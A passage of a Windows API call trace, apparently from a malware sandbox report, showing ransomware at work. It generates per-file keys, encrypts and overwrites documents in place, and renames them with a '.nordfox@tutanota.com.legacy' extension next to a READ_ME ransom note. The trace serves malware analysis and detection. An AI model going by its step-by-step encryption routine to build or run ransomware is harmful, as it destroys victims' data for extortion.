dwLen=0x20, pbBuffer=0x5c3cf0 | out: pbBuffer=0x5c3cf0) returned 1 [0140.971] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3438 | out: pbBuffer=0x5c3438) returned 1 [0140.971] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\oAXar64VaXGXxW5P0ubX.pps", dwFileAttributes=0x80) returned 1 [0140.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60dd30 [0140.971] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a5b0 [0140.971] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dd30 | out: hHeap=0x520000) returned 1 [0140.971] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\oAXar64VaXGXxW5P0ubX.pps" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\oaxar64vaxgxxw5p0ubx.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x788 [0140.972] GetFileSizeEx (in: hFile=0x788, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=29498) returned 1 [0140.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x733a) returned 0x612410 [0140.972] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x733a) returned 0x2e61f38 [0140.973] ReadFile (in: hFile=0x788, lpBuffer=0x612410, nNumberOfBytesToRead=0x733a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x612410*, lpNumberOfBytesRead=0x2e1f9bc*=0x733a, lpOverlapped=0x0) returned 1 [0140.974] SetFilePointer (in: hFile=0x788, lDistanceToMove=-29498, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.975] WriteFile (in: hFile=0x788, lpBuffer=0x2e61f38*, nNumberOfBytesToWrite=0x733a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x733a, lpOverlapped=0x0) returned 1 [0140.975] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612410 | out: hHeap=0x520000) returned 1 [0140.975] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0140.975] SetFilePointer (in: hFile=0x788, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x733a [0140.975] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0140.975] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0140.976] WriteFile (in: hFile=0x788, lpBuffer=0x5c3cf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0140.976] WriteFile (in: hFile=0x788, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0140.976] CloseHandle (hObject=0x788) returned 1 [0140.976] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0140.976] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0140.976] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\oAXar64VaXGXxW5P0ubX.pps" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\oaxar64vaxgxxw5p0ubx.pps"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\oAXar64VaXGXxW5P0ubX.pps.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\oaxar64vaxgxxw5p0ubx.pps.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0140.978] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a5b0 | out: hHeap=0x520000) returned 1 [0140.978] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cec0 | out: hHeap=0x520000) returned 1 [0140.978] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cc20 | out: hHeap=0x520000) returned 1 [0140.978] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x611538 [0140.978] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0140.978] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0140.978] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0140.978] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0140.978] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\MLZLWyGY_d.rtf", dwFileAttributes=0x80) returned 1 [0140.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x6118f0 [0140.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563a88 [0140.979] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6118f0 | out: hHeap=0x520000) returned 1 [0140.979] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\MLZLWyGY_d.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\mlzlwygy_d.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x788 [0140.979] GetFileSizeEx (in: hFile=0x788, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=86125) returned 1 [0140.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1506d) returned 0x2e61f38 [0140.979] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1506d) returned 0x2e76fb0 [0140.979] ReadFile (in: hFile=0x788, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0x1506d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0x1506d, lpOverlapped=0x0) returned 1 [0140.982] SetFilePointer (in: hFile=0x788, lDistanceToMove=-86125, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.982] WriteFile (in: hFile=0x788, lpBuffer=0x2e76fb0*, nNumberOfBytesToWrite=0x1506d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e76fb0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1506d, lpOverlapped=0x0) returned 1 [0140.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0140.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e76fb0 | out: hHeap=0x520000) returned 1 [0140.983] SetFilePointer (in: hFile=0x788, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1506d [0140.983] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0140.983] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0140.983] WriteFile (in: hFile=0x788, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0140.983] WriteFile (in: hFile=0x788, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0140.983] CloseHandle (hObject=0x788) returned 1 [0140.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0140.984] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0140.984] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\MLZLWyGY_d.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\mlzlwygy_d.rtf"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\MLZLWyGY_d.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\vg1o\\mlzlwygy_d.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0140.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a88 | out: hHeap=0x520000) returned 1 [0140.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611538 | out: hHeap=0x520000) returned 1 [0140.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0140.985] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x611b98 [0140.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0140.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0140.985] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d38 | out: hHeap=0x520000) returned 1 [0140.985] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\ZEJ4AMkjS2mO\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10a431a0, ftCreationTime.dwHighDateTime=0x1d4d172, ftLastAccessTime.dwLowDateTime=0x5e20bc30, ftLastAccessTime.dwHighDateTime=0x1d4c94f, ftLastWriteTime.dwLowDateTime=0xd7305db7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c8d8 [0140.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611ca8 | out: hHeap=0x520000) returned 1 [0140.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x6121f8 [0140.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.986] GetLastError () returned 0x0 [0140.986] SetLastError (dwErrCode=0x0) [0140.986] GetLastError () returned 0x0 [0140.986] SetLastError (dwErrCode=0x0) [0140.986] GetLastError () returned 0x0 [0140.986] SetLastError (dwErrCode=0x0) [0140.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0140.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dce8 [0140.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dce8 | out: hHeap=0x520000) returned 1 [0140.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103b0 [0140.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c458 [0140.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c458 | out: hHeap=0x520000) returned 1 [0140.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0140.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0140.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103b0 | out: hHeap=0x520000) returned 1 [0140.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0140.986] FindNextFileW (in: hFindFile=0x60c8d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10a431a0, ftCreationTime.dwHighDateTime=0x1d4d172, ftLastAccessTime.dwLowDateTime=0x5e20bc30, ftLastAccessTime.dwHighDateTime=0x1d4c94f, ftLastWriteTime.dwLowDateTime=0xd7305db7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6121f8 | out: hHeap=0x520000) returned 1 [0140.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x612060 [0140.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.986] GetLastError () returned 0x0 [0140.986] SetLastError (dwErrCode=0x0) [0140.986] GetLastError () returned 0x0 [0140.986] SetLastError (dwErrCode=0x0) [0140.986] GetLastError () returned 0x0 [0140.987] SetLastError (dwErrCode=0x0) [0140.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0140.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56db30 [0140.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56db30 | out: hHeap=0x520000) returned 1 [0140.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610130 [0140.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c418 [0140.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c418 | out: hHeap=0x520000) returned 1 [0140.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0140.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0140.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610130 | out: hHeap=0x520000) returned 1 [0140.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0140.987] FindNextFileW (in: hFindFile=0x60c8d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8c42670, ftCreationTime.dwHighDateTime=0x1d4c5d0, ftLastAccessTime.dwLowDateTime=0xb16c3f30, ftLastAccessTime.dwHighDateTime=0x1d4d28d, ftLastWriteTime.dwLowDateTime=0xb16c3f30, ftLastWriteTime.dwHighDateTime=0x1d4d28d, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="8SBLhTUM1.doc", cAlternateFileName="8SBLHT~1.DOC")) returned 1 [0140.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612060 | out: hHeap=0x520000) returned 1 [0140.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0140.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x611868 [0140.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0140.987] GetLastError () returned 0x0 [0140.987] SetLastError (dwErrCode=0x0) [0140.987] GetLastError () returned 0x0 [0140.987] SetLastError (dwErrCode=0x0) [0140.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0140.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611868 | out: hHeap=0x520000) returned 1 [0140.987] GetLastError () returned 0x0 [0140.987] SetLastError (dwErrCode=0x0) [0140.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610248 [0140.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610248 | out: hHeap=0x520000) returned 1 [0140.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6910 [0140.987] FindNextFileW (in: hFindFile=0x60c8d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f1ccc20, ftCreationTime.dwHighDateTime=0x1d4d3fb, ftLastAccessTime.dwLowDateTime=0xeb5cb370, ftLastAccessTime.dwHighDateTime=0x1d4c57a, ftLastWriteTime.dwLowDateTime=0xeb5cb370, ftLastWriteTime.dwHighDateTime=0x1d4c57a, nFileSizeHigh=0x0, nFileSizeLow=0x17166, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="NG2bRjAOhZpGW.ppt", cAlternateFileName="NG2BRJ~1.PPT")) returned 1 [0140.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0140.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0140.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x6115c0 [0140.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0140.988] GetLastError () returned 0x0 [0140.988] SetLastError (dwErrCode=0x0) [0140.988] GetLastError () returned 0x0 [0140.988] SetLastError (dwErrCode=0x0) [0140.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0140.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6115c0 | out: hHeap=0x520000) returned 1 [0140.988] GetLastError () returned 0x0 [0140.988] SetLastError (dwErrCode=0x0) [0140.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0140.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0140.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60cd70 [0140.988] FindNextFileW (in: hFindFile=0x60c8d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7305db7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd7305db7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd7305db7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0140.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0140.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x611fd8 [0140.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0140.988] GetLastError () returned 0x0 [0140.988] SetLastError (dwErrCode=0x0) [0140.988] GetLastError () returned 0x0 [0140.988] SetLastError (dwErrCode=0x0) [0140.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0140.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611fd8 | out: hHeap=0x520000) returned 1 [0140.988] GetLastError () returned 0x0 [0140.988] SetLastError (dwErrCode=0x0) [0140.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103b0 [0140.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103b0 | out: hHeap=0x520000) returned 1 [0140.988] FindNextFileW (in: hFindFile=0x60c8d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7305db7, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd7305db7, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd7305db7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0140.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60d550 [0140.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4110 [0140.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0140.989] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0140.989] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0140.989] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\ZEJ4AMkjS2mO\\NG2bRjAOhZpGW.ppt", dwFileAttributes=0x80) returned 1 [0140.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60cc20 [0140.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a7a0 [0140.989] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\ZEJ4AMkjS2mO\\NG2bRjAOhZpGW.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\zej4amkjs2mo\\ng2brjaohzpgw.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78c [0140.989] GetFileSizeEx (in: hFile=0x78c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=94566) returned 1 [0140.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17166) returned 0x2e61f38 [0140.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17166) returned 0x2e790a8 [0140.990] ReadFile (in: hFile=0x78c, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0x17166, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0x17166, lpOverlapped=0x0) returned 1 [0140.991] SetFilePointer (in: hFile=0x78c, lDistanceToMove=-94566, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0140.991] WriteFile (in: hFile=0x78c, lpBuffer=0x2e790a8*, nNumberOfBytesToWrite=0x17166, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e790a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17166, lpOverlapped=0x0) returned 1 [0140.992] SetFilePointer (in: hFile=0x78c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17166 [0140.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0140.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0140.993] WriteFile (in: hFile=0x78c, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0140.993] WriteFile (in: hFile=0x78c, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0140.994] CloseHandle (hObject=0x78c) returned 1 [0140.994] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\ZEJ4AMkjS2mO\\NG2bRjAOhZpGW.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\zej4amkjs2mo\\ng2brjaohzpgw.ppt"), lpNewFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\ZEJ4AMkjS2mO\\NG2bRjAOhZpGW.ppt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\zej4amkjs2mo\\ng2brjaohzpgw.ppt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0140.995] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0140.995] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0140.995] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\ZEJ4AMkjS2mO\\8SBLhTUM1.doc", dwFileAttributes=0x80) returned 1 [0140.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6ad8 [0140.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x609cf8 [0140.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6ad8 | out: hHeap=0x520000) returned 1 [0140.996] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\ZEJ4AMkjS2mO\\8SBLhTUM1.doc" (normalized: "c:\\users\\fd1hvy\\documents\\xrxhoywormku-mqys0y\\zej4amkjs2mo\\8sblhtum1.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78c [0140.996] GetFileSizeEx (in: hFile=0x78c, lpFileSize=0x2e1f998 | out: 